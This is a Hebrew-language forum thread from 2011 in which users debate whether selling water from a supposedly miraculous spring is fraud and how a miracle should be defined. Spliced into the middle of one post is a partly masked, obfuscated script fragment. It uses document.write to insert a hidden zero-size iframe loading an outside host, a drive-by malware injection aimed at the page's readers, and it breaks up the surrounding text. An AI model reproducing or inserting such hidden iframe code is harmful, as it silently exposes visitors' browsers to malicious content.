מחשבים

טיפים על הדרך

מכבי

מאורסים

חוק וסדר

בית

פורומים

עצור כאן חושבים

השבת הטוב לבעליו: ריכוז סגולות


שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד

1 2 3 4 5 סך הכל 5 דפים.

הצג תגובות לאשכול מהסוף להתחלה

נשלח ב-14/7/2011 16:13

לא תורמים לגבאי משלמים לו בשביל מיים , זה גזל ממש. הונאה וניצול תמימותם של תמימים וטפשים, אין ניסים ולא היו ניסים הכל שקר וכזב המשמש את הגזלנים והחמסנים לגזול ולעשות כסף והון על חשבון אחרים בושה וחרפה שיש כאן אנשים שחושבים שמאמינים בסיפורי אגדות של טיפשים

נשלח ב-14/7/2011 16:38

יהי,

אתה כותב בפשטות ה' עושה נסים לצדיקים, הן כאלו שמלובשים יותר בטבע והן שפחות.

על המלובשים בטבע אין לי אלא לשאול מה מגדירם כנס.

אלו שפחות, למיטב הידיעה, מעולם לא תועד נס, היינו מאורע שאינו מלובש בטבע וניתן לאפיינו ככזה המתרחש אצל צדיקים באופן יותר שכיח מאשר אצל אינם צדיקים.

בתורה, אין זכר לרעיון הניסים לצדיקים. יש נסים שה' עשה לעיני עם ישראל או לעיני עבדיו הנביאים.

אצל חלק מהנביאים מופיעים סיפורי ניסים. אין תמימות דעים בין הפרשנים על משמעות הסיפור.

בחז"ל יש כבר יותר "מופתים" אך גם שדים ורוחות. פחות או יותר אותן אמונות שרווחו בימים ההם.

כאמור, למרות הזמינות הטכנולוגית, למיטב הידיעה, לא תועד שום מופת יוצא מגדר הטבע או מההסתברות הסטטיסטית הכללית, בזמן אמת.

נשלח ב-14/7/2011 16:56

מיימוני כתב:

סוף סוף, זה לא נושא חשוב אלא רק לאלו שכן מאמינים בו, ואיני ביניהם. עבורי, לעיין באידרות זו רק הזדמנות להכיר עוד תחום במיתולוגיה היהודית (לצערי יש כזה דבר) ולנסות לתרום את חלקי לשיפור המציאות על ידי הרחקת אמונות הבל כאלו. אני משער שהדברים האלו לא ימצאו חן בעיניך, אבל איני שותף לאמונתך שהם אמת. כשאצליח לגמור את החומר ולפתוח אשכול, אשמח מאד אם תרצה אז להסביר במה אני טועה.

יש עוד אפשרות. תוכל לפתוח אשכול על האידרות בעצמך. מה שאני עשיתי הוא להעתיק את האידרות, חלק חלק לפי מה שקראתי, מתוך פרוייקט השו"ת, ולהעיר עליו הערות לפי מה שהבנתי ולא הבנתי. אולי נוכל לעבוד על זה ביחד. אם תרצה, אשלח לך במייל מה שכתבתי עד עתה. ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

קצת קשה להתייחס ברצינות למחקר אשר החוקר מצהיר מראש על מסקנותיו, אבל אני מוכן גם לעשות דברים קצת קשים כדי להציל נפש אחת מישראל (אותך, מיימוני). אשמח לקבל את כתביך ואשתדל להתייחס אליהם בכובד ראש הראוי.

נשלח ב-14/7/2011 17:06

ייתכן

הקביעה שה' עושה נסים, כלומר מנהל את העולם לפי רצונו ולפי זכות בני אדם, לא אני חידשתי. לדעת הרמב"ן הוא יסוד כל התורה.

אם אתה לא אוהב את המילה אתה יכול להוציא את המילה צדיקים מהמשוואה כאן.

בנס אני מתכווין כמו מה ששיערתי לגבי הסיפור הובא כאן. אדם נמצא בשדה צריך מים. הוא מתפלל לה' ובדיוק אז הוא מוצא שם מעיין. זהו נס, וסטטיסטיקות לא מעלים ולא מורידים כאן כלל. נסים כאלו יש בכל יום.

נשלח ב-14/7/2011 17:10

ושם האחר

למיטב הבנתי אין כאן לא גזל ולא אונאה. מישהו מוכר מים ממעיין שלפי המסופר נמצא בנס, בהנחה שהמים האלה יש בהם סגולה כלשהו, אנשים שוטים מאמינים לכל מי שמוכר סגולה וקונים, אנשים חכמים מבינים שזו דרך לגייס תרומות. הבעיה של הטיפש הוא שלו. איפה היה כאן הונאה?

נשלח ב-14/7/2011 17:18

יהי,

איך אני יכול לא לאהוב את המילה. מקרא מלא דיבר הכתוב. ה' אוהב צדיקים.

מה גורם לך להגדיר מקרה סביר מבחינה סטטיסטית כנס? העובדה שקדמה לו תפילה?

נניח כי בכל רבע שעה עוברת מונית ברחוב בו אתה ממתין. אתה מחכה ונושא בלבך תפילה והנה מונית הגיעה בתוך טווח הזמן הסטטיסטי האם זהו נס?

אפשר להתייחס לכל מה שקורה כנס בחינת ועל ניסך שבכל יום. שנינו יודעים כי כאשר מדברים על נס לא מתכוונים לבחינה הזו, אלא למשהו שאמור ללכוד התייחסות מיוחדת.

הסטטיסטיקה, למרות הצליל המדעי, היא הדרך היחידה המוכרת להצביע על מקרה כחריג מבחינה אובייקטיבית.

ולשאלתך איפה היה כאן הונאה?

האם ניצול טיפשות אינה הונאה?

נשלח ב-14/7/2011 17:27

ייתכן

ניצול טפשיות עושה כל חברת פרסומת בעולם. אולי זה אונאה. אני לא יודע. אבל ברור שזו שיטת מכירה מקובלת בכל עסק שבעולם.

אני דווקא לא דברתי על דברים שיוצאים מגדר הטבע ממש, כמו קריעת ים סוף, אלא על נסיך שבכל יום. וכן, בעיני התפלה הופך את זה לנס. אולי לא נס שמוכיח שום דבר, אבל בהחלט נס.

נס שיוצא מדרך הטבע לגמרי אני אף פעם לא ראיתי. אולי תשאל את אלה שהסתובבו אצל הבבא סאלי וכדו' אם הם כן ראו.

הבעיה עם הסטטיסטיקה היא שסטטיסטית אין שום דרך להוכיח שהמציאות כפופה למתמטיקה של הסטטיסטיקה.

כיון שבכל רגע קורים מליוני מקרים בעולם, שום דבר אפילו מוזר ביותר לא ייצא מגדר אפשרי סטטיסטי, אל אם כן זה יקרה באותו מקום ובאותו אדם הרבה פעמים וכדו'. ומי מחייב שזה יקרה גם אם נניח שיש נסים.

נשלח ב-14/7/2011 17:39

יש הבדל בין פרסומת, לבין ניצול טיפשות.

בהרבה מדינות החוק מגביל פרסום לקטינים.

החוק גם מטפל בשיטות שיווק אגרסיביות.

אנשים הגונים אינם נוטלים חלק בשיווק לא הגון.

לכאורה על פי הלכה, אם מישהו סבור שהמים יעזרו לו ולכן הוא תורם הרי זה גזל גמור. אם גם המפרסם מאמין בסגולה, לכאורה הוא אינו גזלן.

מה בכל זאת מאפיין נס? תחושתו הסובייקטיבית של בעל הנס? או שאתה מסתפק בידיעה כללית כי חלק מהאירועים הם נסיים בלי להצביע איזה מהם?

התפילה היא קריטריון? האם אתה טוען כי אם אני מתפלל שהשמש תזרח והיא אכן זורחת התרחש נס?

אני באמת מנסה להבין איך אתה מגדיר נס.

הסטטיסטיקה אינה מעוניינת כלל להכפיף את המציאות לכלליה. תחשוב על הדוגמה עם המונית. אל תקרא לזה סטטיסטיקה (חששתי שהצליל המדעי ירתיע) תקרא לזה איך שרתה רוצה. אני מתכוון להתרחשויות המתרחשות כל העת ואין בהם שום יציאה ממהלך עניינים שוטף ורגיל. כמעט כמו זריחת השמש כל יום.

נשלח ב-14/7/2011 17:55

שאלת הפרסום היא גבולית.
אין סיבה שאדם יאמין בסגולה. אם הוא מאמין הוא עושה זאת על דעת עצמו. גם בהלכות הונאה יש מושג של דברים שאדם סביר צריך ליזהר לבד.
המשל מזריחת השמש לא במקומה, כיוון שמאה אחוז שהיא תזרח.
כל דבר שיש רק חמשים אחוז שזה יקרה ואני מתפלל וזה קרה זה נקרא נס.
וגם שכן היא התחושה הסובייקטיבית שהתפלה נענתה. [תחושה סובייקטיבי זה לא דבר רע, צריך רק לדעת איך להתנהג איתה ולבררה]
אני לא יודע מי זה הסטטיסטיקה, ואני לא נרתע ממילות מדעיות. אבל הנסיון לקבוע אם דבר יקרה או לא לפי הסטטיסטיקה בהחלט מנסה להפיף את המציאות אליה, וזה לא מציאותי כיוון שנהג המונית לא הגיע כיון שסמך על הסטטיסטיקה. אלא מהרבה סיבות אחרות, כך שסטטיסטיקה גם אם היא נכונה היא לא סיבה למציאות אלא בס"ה דרך למדוד את המציאות אחרי שהיא קרתה.

נשלח ב-14/7/2011 18:02

הגדרת היטב. דרך למדוד את המציאות אחרי שהיא קרתה.

הגדרת נס היא כל מה שסיכויי התרחשותו פחותים מחמשים ואחד אחוזים?

נשלח ב-14/7/2011 18:08

כשמדברים על נסים מדברים על הסיבה המניעה את המציאות, האם היא התערבות השגחה העליונה או "סתם ככה".
כך שכל ראיה אם המציאות למעשה השאלה הזאת לא מתחילה ולא נגמרת בנסים בכלל.

אבל גם לטענת המאמינים קיים הבדל בין טבע לנסים.

כן כל דבר שיש פחות ממאה אחוז שזה יקרה ובדווקא קרתה לפי התפלה אפשר לקשרה לתפלה. ולהגיד שהיא קרתה בגלל התפלה. וזה נס.

בהתאם למה שכתבת באשכול אחר, וגם מסיבה שיש לי עוד דברים לעשות עם הזמן שלי, אני פורש כעת מדיון הזה. השאלות העקרוניות שהיא מגיעה אליו גדולות הרבה מנושא הזה, אני רציתי רק להעיר על הסיפור עם המים, לשאלה הכללית צריך זמן ועיון רב בכל הצדדים, ומסתמא כבר היו אשכולות על כך.